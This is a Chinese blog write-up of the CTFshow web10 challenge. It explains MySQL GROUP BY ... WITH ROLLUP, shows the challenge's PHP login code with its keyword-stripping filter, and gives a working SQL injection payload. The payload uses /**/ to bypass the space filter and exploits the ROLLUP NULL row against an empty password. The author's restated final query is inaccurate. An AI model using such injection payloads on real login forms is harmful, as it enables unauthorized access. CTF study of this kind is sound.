2021-11-13

做ctfshow web10,感觉挺有意思的,记录下来

特殊的语法

在讲做题之前,先说一下mysql的几个特殊的语法
首先这是我们的users表
在这里插入图片描述

group by

group by的作用就是将打印出来的表排序
例如:
在这里插入图片描述
最后输出一个排序后的结果,我添加了一个count(*)计数使其看的更明显
当然也可以去掉count(*)

在这里插入图片描述

with rollup

with rollup的作用就是在group by 排序的基础上再加一行,用来统计所有的数目
在这里插入图片描述
把count(*)去掉就是
在这里插入图片描述
可以看到password的列表凭空多出了一个NULL值,利用这个NULL就可以开始我的骚姿势的

做题过程


下面是源码,


<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

利用replaceSpecialChar函数过滤掉了大多数的关键词,
mysqli_num_rows是算返回的结果有多少行
mysqli_fetch_assoc是将返回的结果以数组的形式输出,也就是$row最后代表的是整个password的表

下面是前端界面

在这里插入图片描述
结合一开始讲的语法,我们只需要像下面这样构造payload

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup
password=

我们在登录框输入username后,在password这一框选择不输入,也就是输入为空,那么当后端匹配password时总会匹配到这个NULL值

在这里/**/用来防止空格过滤,1=1是在测试的时候发现没有admin这个字段,那么我们只需要1=1让它语句成立,也就是最后的后端连接sql语句为

select * from user group by password whith rollup

最终也就得到了flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值